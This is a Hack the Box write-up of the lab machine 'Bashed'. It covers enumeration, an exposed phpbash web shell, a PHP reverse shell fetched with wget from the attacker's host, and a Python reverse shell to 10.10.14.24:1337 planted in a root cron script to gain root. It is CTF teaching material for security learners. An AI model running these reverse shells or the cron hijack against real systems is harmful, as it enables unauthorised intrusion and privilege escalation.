{Hack the Box} \\ Bashed Write-Up

For when you want to bash your computer against a brick wall.

Oneeb Malik
8 min readApr 29, 2018

--

Disclaimer: I’m a noob.

Bashed and Mirai hold a special place in my heart. They’re the first two boxes I cracked after joining HtB. You can check out more of their boxes at hackthebox.eu.

Bashed is a pretty straightforward, but fun box, so let’s just jump right into it.

Start by doing a normal Nmap scan on this poor semi-defenseless box.

root@kali:~/bashed# nmap -sC -sV 10.10.10.68 -o nmap.log
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-28 15:53 EDT
Nmap scan report for 10.10.10.68
Host is up (0.11s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

We’ve got ourselves a web server. While we peruse the website, we can start a full port scan of the box, in case there are weird ports the normal scan missed. Effective enumeration involves being efficient with your time. So make sure to have something running in the background at all times. A full port scan takes a while, so we just let it run while we go about our business.

root@kali:~/bashed# nmap -p- 10.10.10.68 -o full-nmap.logStarting Nmap 7.60 ( https://nmap.org ) at 2018-03-28 16:07 EDT

Let’s now head over to http://10.10.10.68 (port 80 by default).

The most notable thing on this site seems to be the blog post. He mentions having developed phpbash on the same server we’re tying to crack (Check out the actual program here. It’s been really useful to me in other CTFs as well). That makes it very likely that it’s laying around on the web server somewhere.

That’s all we’ve really found for now, so let’s fire up GoBuster (or whatever your favorite directory enumerator is. Fite me).

root@kali:~# gobuster -u 10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txtGobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.68/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions : .php,.html,.txt
=====================================================
/images (Status: 301)
/index.html (Status: 200)
/contact.html (Status: 200)
/about.html (Status: 200)
/uploads (Status: 301)
/php (Status: 301)
/css (Status: 301)
/dev (Status: 301)
/js (Status: 301)
/config.php (Status: 200)
/fonts (Status: 301)

Right off the bat we get some juicy, yet oddly stale, directories. Looking in /dev/, we find phpbash.php and phpbash.min.php. Bingo.

Click on any one of the .php files, and we get a very convenient shell as www-data.

Funnily enough, if we go to /home/ we can see that we have read permissions on the arrexel directory, so we can just grab ourselves the humble, non-root hash from user.txt.

www-data@bashed:/home# ls
arrexel
scriptmanager
www-data@bashed:/home# ls -la
total 16
drwxr-xr-x 4 root root 4096 Dec 4 13:53 .
drwxr-xr-x 23 root root 4096 Dec 4 13:02 ..
drwxr-xr-x 4 arrexel arrexel 4096 Dec 4 12:52 arrexel
drwxr-xr-x 3 scriptmanager scriptmanager 4096 Dec 4 17:08 scriptmanager
www-data@bashed
:/home# cd arrexel
www-data@bashed:/home/arrexel# ls
user.txt
www-data@bashed:/home/arrexel# cat user.txt
hash_that_i_wont_show_here

Success pt. 1.

Before we move on to privilege escalation, let’s try to get a reverse shell going. I’ll mention why we need one later on in the post. In keeping with the theme of the site, grab this. Download the php reverse shell from that link and extract its contents. Change the IP address and port in the .php file to your own IP address (it’s the one underneath tun0 in ifconfig) and the port of your choice.

Now we need to upload it to the remote server so we can access it from our browser. My favorite way to do this is to use SimpleHTTPServer. Download it from the link and run it.

root@kali:~# python SimpleHTTPServer.py 80
Serving HTTP on 0.0.0.0 port 80 ...

Now use wget or curl from /phpbash.php to grab the reverse shell while in /var/www/html/uploads since that’s the only place that we have write permissions in the web server.

www-data@bashed:/var/www/html/uploads# wget 10.10.14.24/shell.php--2018-04-28 16:12:46--  http://10.10.14.24/shell.php
Connecting to 10.10.14.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5491 (5.4K) [application/octet-stream]
Saving to: 'shell.php'

0K ..... 100% 205M=0s

2018-04-28 16:12:46 (205 MB/s) - 'shell.php' saved [5491/5491]

The python server on our local machine should show that the remote machine grabbed our file.

root@kali:~# python SimpleHTTPServer.py 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.68 - - [28/Apr/2018 19:15:23] "GET /shell.php HTTP/1.1" 200 -

Excellent. Now start up your netcat listener.

root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...

Navigate to /uploads/shell.php.

Do you like my dark theme?

It will hang, but when you check your netcat listener:

root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.68] 36248
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
16:27:13 up 48 min, 0 users, load average: 3.12, 3.07, 2.76
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

There you go. Now to spare ourselves the eternal agony of ctrl-c’ing back out to our local machine, let’s upgrade our shell with some Python magic.

$ python -c "import pty; pty.spawn('/bin/bash');"
www-data@bashed:/$

Now background this with ctrl-z, and type stty raw -echo on your terminal. Then type fg to foreground the listener shell, press enter twice, and boom, you’ve got yourself an interactive remote shell in all its tab-completion glory.

www-data@bashed:/$ ^Z
[1]+ Stopped nc -lnvp 4444
root@kali:~/Documents/hack_the_box/php-reverse-shell-1.0# stty raw -echo
root@kali:~/Documents/hack_the_box/php-reverse-shell-1.0# nc -lnvp 4444
www-data@bashed:/$

There are a few more things you can do to make sure the clear command works along with any text editors like vim, but that’s not really necessary for what we need to do. Now navigate to the root directory.

www-data@bashed:/$ ls -la
total 88
drwxr-xr-x 23 root root 4096 Dec 4 13:02 .
drwxr-xr-x 23 root root 4096 Dec 4 13:02 ..
drwxr-xr-x 2 root root 4096 Dec 4 11:22 bin
drwxr-xr-x 3 root root 4096 Dec 4 11:17 boot
drwxr-xr-x 19 root root 4240 Apr 28 16:45 dev
drwxr-xr-x 89 root root 4096 Dec 4 17:09 etc
drwxr-xr-x 4 root root 4096 Dec 4 13:53 home
lrwxrwxrwx 1 root root 32 Dec 4 11:14 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4096 Dec 4 11:16 lib
drwxr-xr-x 2 root root 4096 Dec 4 11:13 lib64
drwx------ 2 root root 16384 Dec 4 11:13 lost+found
drwxr-xr-x 4 root root 4096 Dec 4 11:13 media
drwxr-xr-x 2 root root 4096 Feb 15 2017 mnt
drwxr-xr-x 2 root root 4096 Dec 4 11:18 opt
dr-xr-xr-x 125 root root 0 Apr 28 16:45 proc
drwx------ 3 root root 4096 Dec 4 13:03 root
drwxr-xr-x 18 root root 500 Apr 28 16:45 run
drwxr-xr-x 2 root root 4096 Dec 4 11:18 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 18:06 scripts
drwxr-xr-x 2 root root 4096 Feb 15 2017 srv
dr-xr-xr-x 13 root root 0 Apr 28 16:45 sys
drwxrwxrwt 10 root root 4096 Apr 28 16:56 tmp
drwxr-xr-x 10 root root 4096 Dec 4 11:13 usr
drwxr-xr-x 12 root root 4096 Dec 4 11:20 var
lrwxrwxrwx 1 root root 29 Dec 4 11:14 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
www-data@bashed:/$

Notice that there’s this odd directory called scripts owned by scriptmanager, one of the other users on the system. We only have read permissions on it, so we can at least list its contents.

www-data@bashed:/$ ls -la /scripts
ls: cannot access '/scripts/..': Permission denied
ls: cannot access '/scripts/test.py': Permission denied
ls: cannot access '/scripts/test.txt': Permission denied
ls: cannot access '/scripts/.': Permission denied
total 0
d????????? ? ? ? ? ? .
d????????? ? ? ? ? ? ..
-????????? ? ? ? ? ? test.py
-????????? ? ? ? ? ? test.txt
www-data@bashed:/$

Fun. Okay. That doesn’t really tell us much. Moar enumeration. This part is straightforward though. If you type sudo -l, you’ll notice that www-data can run any commands as scriptmanager.

www-data@bashed:/$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/$

Since we want to read what the mysterious files in /scripts/ are, let’s start up another shell as scriptmanager. (Sudo-ing wouldn’t be possible without a tty shell, which is why we went through all that trouble).

www-data@bashed:/$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/$

Now head on over to /scripts.

scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 18:06 .
drwxr-xr-x 23 root root 4096 Dec 4 13:02 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 17:03 test.py
-rw-r--r-- 1 root root 12 Apr 28 17:03 test.txt
scriptmanager@bashed:/scripts$

There are two files here. test.py and test.txt.

scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$
scriptmanager@bashed:/scripts$ cat test.txt
testing 123!scriptmanager@bashed:/scripts$

Hmmmmmmmmmmmmmmmmmmmmmm. It seems like test.py is run, outputting test.txt and its contents. Bit of weirdness though. test.txt is owned by root. If we run test.py, test.txt is just going to be owned by scriptmanager, since that’s who it’s running as. The only explanation is that it was run by root somehow. If you notice the time test.txt is created, it changes every minute. It’s most likely a cron job, owned by root, that executes test.py every minute. Pretty convenient.

Let’s get ourselves a root shell and then grab the root.txt file. It’s no fun without seeing that #. Open up test.py and copy the code for a python reverse shell from pentestmonkey’s handy dandy list of reverse shells, pasting it to the the file, and changing the IP address and port to your own.

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.24",1337)) //change this
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Set up your Netcat listener, and wait ≤ 1 minute.

root@kali:~# nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.68] 50176
/bin/sh: 0: can’t access tty; job control turned off
# whoami
root
# cat /root/root.txt
pwn3d

GG. You’re done…….wait. I’m getting the distinct feeling I forgot something. Oh shoot. Go back to your terminal and cancel the full port scan since ITS PROBABLY STILL RUNNING GOD.

Now you can go pat yourself on the back, stretch, get a drink of water, open your blinds and get some sun.

--

--

Oneeb Malik

Full stack software engineer. Systems programming and infosec enthusiast. Currently figuring out the logistics of owning an alpaca farm.